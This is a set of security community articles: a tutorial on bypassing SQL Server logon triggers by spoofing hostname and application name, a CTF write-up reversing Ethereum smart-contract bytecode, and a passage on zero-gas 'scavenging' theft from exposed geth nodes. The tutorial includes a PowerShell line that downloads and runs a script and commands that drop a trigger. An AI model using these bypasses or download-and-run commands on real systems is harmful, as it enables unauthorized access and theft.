1. 使用SSMS以sysadmin身份登录到新的SQL Server实例。
2. 首先，让我们使用下面的命令查看连接到SQL Server实例的工作站的名称。默认情况下，它应该使用连接到SQL Server实例的工作站的主机名。
SELECT HOST_NAME()
1. 创建一个登录触发器来限制对特定主机名的访问。然后，严格按照如下所示方法执行该触发器。
-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
-- White list of allowed hostnames are defined here.
HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
)
BEGIN
RAISERROR('You are not allowed to login', 16, 1);
ROLLBACK;
END
END
1. 设置登录触发器后，当您再次使用SSMS登录时，您应该会收到类似下面的错误信息，因为用于连接的主机名没有出现在白名单中。
**利用SSMS伪造主机名**
* * *
现在，读者可能会问，“在现实世界中，我什么时候才会用到它呢？”——通常是我们从配置文件或反编译的代码中获取连接字符串，并希望使用该信息直接连接到SQL
Server的时候。在应用程序渗透测试过程中，这是一种非常常见的情况，同时，我们在网络渗透测试和跟红队对抗期间，在打开的文件共享中也会发现一些内部应用程序和配置文件，这些你懂的。
好的，让我们利用SSMS对我们的主机名进行伪装。
1. 在SSMS中打开“Connect Object Explorer”并导航到“Additional Connection Parameters”选项。我们可以在这里即时设置连接字符串属性（超酷）。 对于这个例子来说，我们将“Workstation ID”属性设置为“DevBox”，它是白名单中的一个主机名。注意：稍后我会介绍几种识别白名单中的主机名的方法。
1. 单击连接按钮进行登录。打开一个查询窗口并重新检查主机名，这时将会变成“DevBox”。这进一步说明我们成功欺骗了主机名检测机制。
SELECT HOST_NAME()
**使用连接字符串伪造主机名**
* * *
实际上，SSMS只是使用"workstation
id"属性集建立一个连接字符串。下面是一个连接字符串的例子，它会以当前Windows用户的身份连接到远程SQL
Server实例，并选择“Master”数据库。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;
如果我们在上一节中展示的登录触发器已经生效的话，我们应该看到“failed to connect”消息。 但是，如果将“Workstation
ID”属性设置为白名单中的主机名，就能顺利登录。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
**使用PowerUpSQL伪造主机名**
* * *
此外，我还为PowerUpSQL的Get-SQLQuery函数添加了“WorkstationId”选项。一旦我找到更多时间，我将努力改进其他函数。现在，我们将通过一个示例演示如何绕过前一节中创建的登录触发器。
1. 打开Powershell，并使用自己喜欢的方式加载PowerUpSQL。下面的例子显示了如何直接从GitHub加载PowerUpSQL。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
1. 由于触发限制，初始连接将会失败。请注意，为了查看服务器返回的错误，需要设置“-ReturnError”标志。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
1. 现在，将workstationid选项设置为“DevBox”，这样就能够成功执行查询了。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
1. 要删除该触发器，可以执行下列命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
**创建登录触发器来限制应用程序**
* * *
以下是在家庭实验室中设置触发器的方法，该触发器根据连接的应用程序的名称来限制访问。
1. 使用SSMS以sysadmin身份登录到新的SQL Server实例。
2. 首先，让我们使用下面的命令查看连接到SQL Server实例的应用程序的名称。这时，它会返回“Microsoft SQL Server Management Studio – Query”。
SELECT APP_NAME()
1. 创建一个登录触发器来限制对特定应用程序的访问。然后，严格按照如下所示方法执行该触发器。
```sql
CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
\------ Set the white list of application names here
APP_NAME() NOT IN
('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
)
BEGIN
RAISERROR('You cannot connect to SQL Server from this machine', 16, 1);
ROLLBACK;
END
END
4. 设置登录触发器后，当再次使用SSMS登录时，会收到类似下面的错误消息，因为您正通过白名单之外的应用程序进行连接。
**使用SSMS伪造应用程序名称**
------------
同样的，你可能想知道，“在现实世界中，我什么时候会用到它呢？”。某些应用程序的名称已经静态设置到用于连接SQL Server的连接字符串中了。实际上，虽然很少见到登录触发器利用应用程序名称来限制访问，但我们确实遇到过几次。
好的，让我们利用SSMS来伪造应用程序名。
1. 在SSMS中打开"Connect Object Explorer"并导航到"Additional Connection Parameters"选项。我们可以在这里即时设置连接字符串属性（超酷）。 对于这个例子来说，我们将"application name"属性设置为"SuperApp3000"，它是白名单中的一个应用程序名。注意：稍后我会介绍几种识别白名单中的应用程序名的方法。
2. 单击连接按钮进行登录。打开一个查询窗口并重新检查应用程序名，这时将会变成"SuperApp3000"。这进一步说明我们成功欺骗了主机名检测机制。
```sql
SELECT APP_NAME()
**使用连接字符串伪造应用程序名称**
* * *
正如在上一节中提到的那样，存在一个名为“AppName”的连接字符串属性，应用程序可以使用它将其应用程序名称提交给SQL Server，例如：
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"
**使用PowerUpSQL伪造应用程序名称**
* * *
为了演示应用程序名称欺骗场景，我更新了[PowerUpSQL](https://github.com/netspi/powerupsql
"PowerUpSQL")的Get-SQLQuery函数，使其包含“appname”选项。一旦我能够挤出更多时间，我将努力改进其他函数。
1. 打开Powershell并通过自己喜欢的方法加载PowerUpSQL。下面的例子演示了如何直接从GitHub加载它。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
1. PowerUpSQL函数封装了许多.NET SQL Server函数。默认情况下，当使用.NET以编程方式连接到SQL Server时，“appname”属性将设置为“.Net SqlClient Data Provider”。但是，由于我们创建了一个新的登录触发器，并通过“appname”来限制访问，所以会得到以下错误。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
1. 现在，将“appname”属性设置为“SuperApp3000”，这样就能够成功执行查询了。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
1. 要删除该触发器，可以执行下列命令。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
1. 现在，您不必伪造应用程序名称就可以连接了。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query 'SELECT APP_NAME()'
1. 或者，如果喜欢的话，也可以伪装成任何应用程序的名称。
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
**寻找白名单中的主机名和应用程序名**
* * *
如果您不确定登录触发器的白名单中包含哪些主机名和应用程序，可以借助下列方法。
* 检查登录触发源代码
获取登录触发器白名单中所有主机名和应用程序的最佳方法是查看源代码。然而，在大多数情况下，这需要具备相应的访问特权。
SELECT name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers
ORDER BY name ASC
* 查看应用程序代码查找硬编码的的主机名和应用程序
有时白名单中的主机名和应用程序会被硬编码到应用程序中。如果您正在处理.NET或Java应用程序，则可以通过反编译，并查找与正在使用的连接字符串相关的关键字来定位有关源代码。这种方法假定您可以访问应用程序程序集或配置文件。这时，[JD-GUI](http://jd.benow.ca/ "JD-GUI")和[DNSPY](https://github.com/0xd4d/dnSpy
"DNSPY")将会派上用场。
* 考察应用流量
有时，白名单中的主机名和应用程序，是应用程序启动时从数据库服务器中抓取的。因此，您可以使用您最喜爱的嗅探器来获取白名单中的主机名和应用程序。我有过几次这样的经历。你可能会问，为什么会有人这么做?
别人可能永远不会知道答案。
* 使用域系统列表
如果您已经拥有域帐户，则可以查询Active
Directory以获取域计算机的列表。然后，您可以遍历列表，从而找出允许连接的列表。当然，这里假定当前域用户有权登录到SQL
Server，并且白名单列出的主机名与域相关联。
* 使用MITM记录连接
我们还可以通过基于ARP的中间人（MITM）攻击来拦截从远程系统到SQL Server的连接。如果连接已加密（自SQL Server
2014以来，都会默认进行加密），虽然看不到流量内容，但能够看到已经连接了哪些主机。当然，我们也可以使用MITM技术。
警告：如果攻击过程正在验证登陆凭证，可能会导致数据包丢失，并对生产系统产生严重影响，因此请谨慎使用该方法。
**一般建议**
* * *
* 使用登录触发器时，不要根据客户端可以轻松修改的信息来限制对SQL Server的访问。
* 如果您希望使用白名单技术限制系统访问，请考虑使用网络或主机级防火墙规则，而不是登录触发器。
* 考虑根据用户组和访问权限来限制对SQL Server的访问，而不是使用登录触发器。
**小结**
* * *
在这篇文章中，我介绍了几种利用鲜为人知的连接字符串属性绕过由SQL
Server登录触发器强制执行的访问限制的方法。当您对传统桌面应用程序进行渗透测试时，希望这些方法能够对您有所帮助。除此之外，我们还特别指出了在构建两层桌面应用程序时需要极力避免的一些事项。如果读者有兴趣的话，还可以从这里访问我更新后的“SQL
Server Connection String Cheatsheet”。
**参考文献**
* * *
* <https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8>
* <https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017>
* <https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/> | 社区文章 |
以太坊上的智能合约几乎都是开源的，没有开源的智能合约就无从信任。但有些智能合约没有开源，反编译是研究的重要方式，可通过直接研究EVM的ByteCode。
如何对合约进行逆向分析，下面结合ctf实例介绍区块链合约逆向如何开展，希望区块链入门者能从中学到知识。
* * *
# ctf实例1
给了bytecode字节码及交互记录
ByteCode:
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806304618359146100725780631cbeae5e1461009f578063890eba68146100cc578063a2da82ab146100f7578063f0fdf83414610127575b600080fd5b34801561007e57600080fd5b5061009d60048036038101908080359060200190929190505050610154565b005b3480156100ab57600080fd5b506100ca6004803603810190808035906020019092919050505061015e565b005b3480156100d857600080fd5b506100e1610171565b6040518082815260200191505060405180910390f35b34801561010357600080fd5b50610125600480360381019080803560ff169060200190929190505050610177565b005b34801561013357600080fd5b50610152600480360381019080803590602001909291905050506101bb565b005b8060008190555050565b6000548114151561016e57600080fd5b50565b60005481565b60008060009150600090505b60108110156101ab576008829060020a0291508260ff16821891508080600101915050610183565b8160005418600081905550505050565b8060036000540201600081905550505600a165627a7a7230582012c9c1368a7902a818e339b8db79b7130db8795bd2a793898b509dc020d960d20029
交互日志：
log1:func_0177
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000009
log2: #a()
0xf0fdf83400000000000000000000000000000000000000000000000000000000deadbeaf
log3: #func_0177
0xa2da82ab0000000000000000000000000000000000000000000000000000000000000007
log4: #flag()
secret.flag
{
"0": "uint256: 36269314025157789027829875601337027084"
}
## 在线反编译
<https://ethervm.io/decompile> 反编译bytecode
直接输入bytecode（不要加0x，输入十六进制值即可）
反编译得到
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x04618359) {
// Dispatch table entry for 0x04618359 (unknown)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x009d;
var var2 = msg.data[0x04:0x24];
func_0154(var2);
stop();
} else if (var0 == 0x1cbeae5e) {
// Dispatch table entry for winner(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ca;
var2 = msg.data[0x04:0x24];
winner(var2);
stop();
} else if (var0 == 0x890eba68) {
// Dispatch table entry for flag()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00e1;
var2 = flag();
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var2;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0xa2da82ab) {
// Dispatch table entry for 0xa2da82ab (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0125;
var2 = msg.data[0x04:0x24] & 0xff;
func_0177(var2);
stop();
} else if (var0 == 0xf0fdf834) {
// Dispatch table entry for a(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x0152;
var2 = msg.data[0x04:0x24];
a(var2);
stop();
} else { revert(memory[0x00:0x00]); }
}
function func_0154(var arg0) {
storage[0x00] = arg0;
}
function winner(var arg0) {
if (arg0 == storage[0x00]) { return; }
else { revert(memory[0x00:0x00]); }
}
function flag() returns (var r0) { return storage[0x00]; }
function func_0177(var arg0) {
var var0 = 0x00;
var var1 = 0x00;
if (var1 >= 0x10) {
label_01AB:
storage[0x00] = storage[0x00] ~ var0; //这里~符号应为异或 xor
return;
} else {
label_018D:
var0 = var0 * 0x02 ** 0x08 ~ (arg0 & 0xff);
var1 = var1 + 0x01;
if (var1 >= 0x10) { goto label_01AB; }
else { goto label_018D; }
}
}
function a(var arg0) {
storage[0x00] = storage[0x00] * 0x03 + arg0;
}
}
ethervm.io也给出了函数的调用情况
--Public Methods
Method names cached from 4byte.directory.
0x04618359 Unknown #func_0154
0x1cbeae5e winner(uint256)
0x890eba68 flag()
0xa2da82ab Unknown #func_0177
0xf0fdf834 a(uint256)
--Internal Methods
func_0154(arg0)
winner(arg0)
flag(arg0) returns (r0)
func_0177(arg0)
a(arg0)
可以看到，总共有5个公用(public)函数调用接口。第一个 `0x04618359`
和第四个`0xa2da82ab`没有查到历史函数名称，说明是合约开发者自己定义的，这里反编译器把它命名为 `func_0154`和`func_0177`
。其他函数还有`winner`,`flag`,`a`
观察日志交互记录
`0xa2da82ab0000000000000000000000000000000000000000000000000000000000000009`前面的8位为函数的地址`0xa2da82ab`,对应func_0177函数，传参为0x09。
`0xf0fdf83400000000000000000000000000000000000000000000000000000000deadbeaf`对应调用函数`a()`,传参为`0xdeadbeaf`。
日志最后返回的secret.flag应为执行flag()返回的值`36269314025157789027829875601337027084`
程序调用逻辑即为分别执行`func_0177(0x9)`,`a(0xdeadbeaf)`,`func_0177(0x7)`,`flag()`
需要求解的为输入的值，那么进行逆向即可
观察三个函数，都是比较简单的运算，等价于下面大马
#输入参数x
def func_0177(var=0x9):
var=9
a=0
b=0
for i in range(0x10):
a=a*(2**8)^(var&0xff)
x=x^a
def a(y=0xdeadbeaf)
x=x*3+0xdeadbeaf
def func_0177(var=0x7)
var=7
a=0
b=0
for i in range(0x10):
a=a*(2**8)^(var&0xff)
x=x^a
def flag():
return x
#返回结果为:
secret.flag
{
"0": "uint256: 36269314025157789027829875601337027084"
}
那简单逆向即可，func_0177计算的异或参数确定，直接异或即得到原值，逆向代码如下
x=36269314025157789027829875601337027084
var=7
a=0
b=0
for i in range(0x10):
a=a*(2**8)^(var&0xff)
x=x^a
x=(x-0xdeadbeaf)/3
var=9
a=0
b=0
for i in range(0x10):
a=a*(2**8)^(var&0xff)
x=x^a
print hex(x)[2].strip('L').decode('hex')
#flag{hello_ctf}
## jeb反编译
如果是线下ctf比赛，无法在线反编译，可以准备jeb，尽管是demo版，也基本够用
[jeb3.7](https://www.pnfsoftware.com/blog/ethereum-smart-contract-decompiler/
"jeb3.7")
直接将bytecode保存到文件，jeb选择菜单文件中的`Open smart contract`， 选择本地文件即可, 反编译代码如下
function start() {
*0x40 = 0x80;
var1 = msg.data.length;
if(var1 >= 0x4) {
uint256 var0 = (uint256)$msg.sig;
if(var0 == 0x4618359) {
sub_72();
}
if(var0 == 0x1cbeae5e) {
winner();
}
if(var0 == 0x890eba68) {
flag();
}
if(var0 == 0xa2da82ab) {
sub_F7();
}
if(var0 == 0xf0fdf834) {
a();
}
}
revert(0x0, 0x0);
}
sub_F7()
function sub_F7() public /*NON-PAYABLE*/ {
var3 = msg.data.length;
var4 = calldataload(0x4);
sub_177(var4 & 0xff);
stop();
}
function sub_177(uint256 par1) private {
int256 var0 = 0x0;
for(uint256 var1 = 0x0; var1 < 0x10; ++var1) {
var0 = (var0 * 0x100) ^ (par1 & 0xff);
}
var3 = storage[0x0];
g0_0 = var0 ^ var3;
}
a()
function a() public /*NON-PAYABLE*/ {
var3 = msg.data.length;
var4 = calldataload(0x4);
__impl_a(var4);
stop();
}
function __impl_a(uint256 par1) private {
var2 = storage[0x0];
g0_0 = var2 * 0x3 + par1;
}
flag()
function flag() public view /*NON-PAYABLE*/ {
(uint256 var0, uint256 var1) = __impl_flag();
uint256* var3 = *0x40;
*var3 = var1;
return(*0x40, var3 + 1 - *0x40);
}
function __impl_flag() private view returns (uint256) {
var0 = storage[0x0];
return var0;
}
可看出反编译效果不错，很容易理解算法。
# ctf实例2
题目内容
send 1505 szabo 457282 babbage 649604 wei 0x949a6ac29b9347b3eb9a420272a9dd7890b787a3
再ethereum mainnet查看合约地址`0x949a6ac29b9347b3eb9a420272a9dd7890b787a3`
访问<https://etherscan.io/address/0x949a6ac29b9347b3eb9a420272a9dd7890b787a3>
查看contract对应bytecode为
0x606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632a0f76961461005c5780635b6b431d1461009f5780639f1b3bad146100c2575b600080fd5b341561006757600080fd5b610081600480803561ffff169060200190919050506100cc565b60405180826000191660001916815260200191505060405180910390f35b34156100aa57600080fd5b6100c06004808035906020019091905050610138565b005b6100ca6101d6565b005b60006001546001900461ffff168261ffff16141561012b57600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610133565b600060010290505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561019357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156101d357600080fd5b50565b6000806002346000604051602001526040518082815260200191505060206040518083038160008661646e5a03f1151561020f57600080fd5b50506040518051905091506001548218905080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020816000191690555050505600a165627a7a723058204760a4fe708c70459c1c33c4668609c3f1a8cf0a82d2fc7786c343457dbb55c30029
用jeb3.7 demo反编译一下bytecode
function Withdraw() public /*NON-PAYABLE*/ {
var3 = calldataload(0x4);
__impl_Withdraw(var3);
stop();
}
function __impl_Withdraw(uint256 par1) private {
var1 = storage[0x0];
int256 var0 = var1;
var1 = msg.sender;
if((address(var0)) != (address(msg.sender))) {
revert(0x0, 0x0);
}
var0 = msg.sender;
var4 = send(address(msg.sender), par1);
if(var4 == 0x0) {
revert(0x0, 0x0);
}
}
function Receive() public payable {
__impl_Receive();
stop();
}
function __impl_Receive() private {
*(*0x40 + 0x20) = 0x0;
int256 var5 = *0x40;
*var5 = $msg.value;
var11 = gasleft();
var4 = call_sha256(var11 - 0x646e, 0x2, 0x0, var5, var5 + 0x20 - var5, var5, 0x20);
if(var4 == 0x0) {
revert(0x0, 0x0);
}
var2 = storage[0x1];
var2 ^= **0x40;
var5 = msg.sender;
*0x0 = address(msg.sender);
*0x20 = 0x2;
var3 = keccak256(0x0, 0x40);
storage[var3] = var2;
}
function sub_5C() public view /*NON-PAYABLE*/ {
var3 = calldataload(0x4);
uint256 var0 = sub_CC(var3 & 0xffff);
uint256* var2 = *0x40;
*var2 = var0;
return(*0x40, var2 + 1 - *0x40);
}
function sub_CC(uint256 par1) private view returns (uint256) {
uint256 var0;
var1 = storage[0x1];
if((par1 & 0xffff) == (var1 & 0xffff)) {
var3 = msg.sender;
*0x0 = address(msg.sender);
*0x20 = 0x2;
var1 = keccak256(0x0, 0x40);
var1 = storage[var1];
var0 = var1;
}
else {
var0 = 0x0;
}
return var0;
}
function main() {
memory[0x40:0x60] = 0x60;
if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); }
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x2a0f7696) {
// Dispatch table entry for 0x2a0f7696 (unknown)
if (msg.value) { revert(memory[0x00:0x00]); }
var var1 = 0x0081;
var var2 = msg.data[0x04:0x24] & 0xffff;
var1 = func_00CC(var2);
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = var1;
var temp1 = memory[0x40:0x60];
return memory[temp1:temp1 + (temp0 + 0x20) - temp1];
} else if (var0 == 0x5b6b431d) {
// Dispatch table entry for Withdraw(uint256)
if (msg.value) { revert(memory[0x00:0x00]); }
var1 = 0x00c0;
var2 = msg.data[0x04:0x24];
Withdraw(var2);
stop();
} else if (var0 == 0x9f1b3bad) {
// Dispatch table entry for Receive()
var1 = 0x00ca;
Receive();
stop();
} else { revert(memory[0x00:0x00]); }
}
可看出public的函数有3个，分别是`sub_5c`(0x2a0f7696),
`Withdraw`(0x5b6b431d)和`Receive`(0x9f1b3bad)
再看合约的交易日志(交易成功的日志)
按照时间先后顺序日志如下：
1：0x2a0f7696
2：0x2a0f7696c1cb
3：0x2a0f7696000000000000000000000000000000000000000000000000000000000000c1cb
4：0x9f1b3bad
5：0x2a0f7696000000000000000000000000000000000000000000000000000000000000c1cb
对应sub_5c调用了4次，Receive调用了1次
分别查看交易的`Parity Trace`，可查看输入输出
前四个交易均返回0x0，第5个交易返回`0x333443335f6772616e646d615f626f756768745f736f6d655f626974636f696e`
查看一下逻辑，前面三个调用均失败，sub_cc有条件(par1 & 0xffff) == (var1 &
0xffff),par1为函数输入值，var1为内存值，若不相等则直接返回0x0,
说明前面的三次调用均不满足这个条件。交易5有返回值，说明经过调用Receive函数后就可以满足条件了。
查看main入口函数，sub_5c函数和Withdraw函数均不接受msg.value,证明是not payable,
但Reveive函数可接受msg.value
Receive函数 主要操作`storage[0x1]=storage[0x1]^msg.value;`
直接解码交易5的返回结果得到`34C3_grandma_bought_some_bitcoin` | 社区文章 |
Author：Knownsec 404 Blockchain Security Research Team
Date：2018/8/20
Chinese version：<https://paper.seebug.org/673/>
#### 0x00 Introduction
August 01, 2018, the Knownsec 404 Blockchain Security Research Team has
published a paper(Exhilarating Coin, Maverick Thief - Various Coin Stolen
Tricks of Ethereum JSON-RPC Interface) which has introduced "Smuggling
Vulnerability" and "ether and tokens stealing in 'Post-Smuggling Era'". It has
revealed three ways of stealing: Offline Attack, Replay Attack, Blast Attack.
We also found a supplementary to these attacks in further research: Scavenging
Attacks. The attackers resort to the miner or have the computing power to get
the right to package the transaction into the block. They construct a
transaction with a gasPrice of 0 on an attacked node in the "Smuggling
Vulnerability", waiting for the users to unlock the signature account
broadcast. The attackers also set a malicious node to receive the transaction
and pack the qualified transactions to implement 0 gas transfer. Through this
kind of attack, they can obtain all the ether which are not enough or barely
enough to pay the fee on the node. And to a certain extent, it can prevent the
race of other attackers. It’s a paragon like "gathering wool".
In addition, after gathering enough residues of ether, the attackers stared at
the tokens in the accounts which had been stolen. Until now, some tokens in
the stolen accounts are still being attacked by "Scavenging Attacks" for
gathering small amount tokens.
This article will start with a 0 gas transaction, simulate and recurrent the
actual process of stolen currency and analyze the key points of the success of
scavenging attack.
#### 0x01 Starting with a 0 gas Transaction
In the blockchain system, each transaction should come with a portion of gas
and the corresponding gasPrice as a fee. This fee will be rewarded to the
miners who completed the package when the transaction is packaged into the
block.
In the "Exhilarating Coin, Maverick Thief - Various Coin Stolen Tricks of
Ethereum JSON-RPC Interface" we have mentioned an attacker account that uses
the Ethereum JSON-RPC interface
0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464.(<https://etherscan.io/address/0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464>)
The attackers scan the open RPC port on the public network and construct a
high-fee transaction request. Once the user unlocks his account, the balance
is transferred to the attackers’ account or the contract account created by
the attackers.
When analyzing the transaction information of the account, we found a
transaction that wasn’t in common sense. We can start with it.
The transaction address:
0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22
(<https://https://etherscan.io/tx/0xb1050b324f02e9a0112e0ec052b57013c16156301fa7c894ebf2f80ac351ac22>)
Function: transfer(address _to, uint256 _value)
MethodID: 0xa9059cbb
[0]: 000000000000000000000000957cd4ff9b3894fc78b5134a8dc72b032ffbc464
[1]: 000000000000000000000000000000000000000000000000000000000abe7d00
Although the transaction from 0x00a329c0648769a73afac7f9381e08fb43dbea72
(<https://etherscan.io/address/0x00a329c0648769a73afac7f9381e08fb43dbea72>) to
[Minereum
Token](https://etherscan.io/address/0x1a95b271b0535d15fa49932daba31ba612b52946
"Minereum Token")(the attacker’s contract) has a few user balance, the
transaction uses all the balance of the account as the value of interacting
with the contract. It uses a normal amount of gas, but the gasPrice is set to
0.
As mentioned above, the attackers will use a higher fee to ensure the success
of their transaction. The miners will sort the gasPrices of each transaction
in the txpool of this node in reverse order, and preferentially package the
high gasPrice transaction into the subsequent blocks. There are countless
transactions happening all the time in this world. The lowest gasPrice for a
transaction was 3Gwei on the last 7 days. How did this 0 gas transaction
happen and how it was packaged into the block?
#### 0X02 Ideas Analysis
In the blockchain system, anyone can join the blockchain network and become
one of the nodes, participating in keeping accounts, mining and other
operations. The core of the credibility and decentralization of the blockchain
is the consensus mechanism.
##### Consensus Mechanism
> In Ethereum, the miner packs the hash value of the previous block, the
> transaction with a high cost in txpool, the timestamp, etc., and
> continuously calculates the nonce to mine. The miner who first obtains the
> qualified nonce value will have the right to book, gets the fee and mining
> reward. The miner will broadcast the obtained block and it will be verified
> by the other nodes. If there is no error, the new block is considered to be
> generated and the blockchain height is increased. This is the process of
> each node generates a new block to maintain consensus.
There are two issues need to be confirmed to complete 0 gasPrice transactions.
* Whether the miner will accept the transaction and package it.
* Whether the remaining nodes reach a consensus on the block containing this transaction when it is received.
Next, we will test the operations related to the 0 gasPrice transactions.
Finding out how 0 gas transactions are generated, how they accepted by txpool,
whether the block that was packaged with the 0 gas transaction could be
recognized, and answer to the above question was confirmed.
#### 0x03 0 gas Transaction Test
##### a.Single Node Test
First, let's confirm whether the transaction can enter the node's txpool and
enable a test chain. Its default RPC port is 8545 and uses a python web3
package to initiate a 0 gasPrice transfer.
geth --networkid 233 --nodiscover --verbosity 6 --ipcdisable --datadir data0 --rpc --rpcaddr 0.0.0.0 console
The first node initiates the transfer script and unlocks the accounts before
transferring the account.
from web3 import Web3, HTTPProvider
web3 = Web3(HTTPProvider("http://localhost:8545/"))
print(web3.eth.accounts)
# Unlock your account before transferring money
web3.eth.sendTransaction({
"from":web3.eth.accounts[0],
"to":web3.eth.accounts[1],
"value": 10,
"gas":21000,
"gasPrice":0,
})
Interaction result
> txpool.content
{
pending: {},
queued: {}
}
> eth.getBalance(eth.accounts[0])
800000000
> personal.unlockAccount(eth.accounts[0],'sissel')
true
> INFO [08-14|11:20:14.972] Submitted transaction fullhash=0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4 recipient=0x92636b228148e2824cB8d472Ef2F4e76f2F5059C
> txpool.content
{
pending: {
0x092fda221a114FA702e2f59C217C92cfEB63f5AC: {
3: {
blockHash: "0x0000000000000000000000000000000000000000000000000000000000000000",
blockNumber: null,
from: "0x092fda221a114fa702e2f59c217c92cfeb63f5ac",
gas: "0x5208",
gasPrice: "0x0",
hash: "0x72e81751d2517807cabad24102d3cc2f0f4f2e8b92f1f106f1ee0bf6be734fe4",
input: "0x",
nonce: "0x3",
r: "0x1eca20e3f371ed387b35ca7d3220789399a3f64c449a825e0fa7423b96ce235c",
s: "0x35a58e5cb5027c7903c1f1cc061ae846fb5150186ebbabb2b0766e4cbfc4aee6",
to: "0x92636b228148e2824cb8d472ef2f4e76f2f5059c",
transactionIndex: "0x0",
v: "0x42",
value: "0xa"
}
}
},
queued: {}
}
> miner.start(1)
INFO [08-14|11:20:35.715] Updated mining threads threads=1
INFO [08-14|11:20:35.716] Transaction pool price threshold updated price=18000000000
null
INFO [08-14|11:20:35.717] Starting mining operation
> INFO [08-14|11:20:35.719] Commit new mining work number=115 txs=1 uncles=0 elapsed=223µs
> mINFO [08-14|11:20:36.883] Successfully sealed new block number=115 hash=ce2f34…210039
INFO [08-14|11:20:36.885] ? block reached canonical chain number=110 hash=2b9417…850c25
INFO [08-14|11:20:36.886] ? mined potential block number=115 hash=ce2f34…210039
INFO [08-14|11:20:36.885] Commit new mining work number=116 txs=0 uncles=0 elapsed=202µs
> miner.stop()
true
> eth.getBalance(eth.accounts[0])
799999990
The 0 gas transaction initiated by the first node is successful, and the
transaction is successfully packaged into the block after mining.
##### b.Multi-node Consensus test
Now let's join another node.
geth --datadir "./" --networkid 233 --rpc --rpcaddr "localhost" --port 30304 --rpcport "8546" --rpcapi "db,eth,net,web3" --verbosity 6 --nodiscover console
> admin.nodeInfo
> admin.addPeer()
> admin.peers
The first node still uses the script to initiate a 0 gas transaction, and its
txpool was successfully appended. But the second node illegally rejected the
transaction because of gasPrice.
TRACE[08-15|10:09:24.682] Discarding invalid transaction hash=3902af…49da03 err="transaction underpriced"
> txpool.content
[]
We found the parameters related to this in the configuration of the geth.
--txpool.pricelimit value Minimum gas price limit to enforce for acceptance into the pool (default: 1)
Change it to 0 when it starts, but the transaction still does not appear in
the txpool of the second node.
We can know from the source code, this parameter is the lowest gasPrice of the
transaction to control the increasing txpool, but cannot be less than 1.
if conf.PriceLimit < 1 {
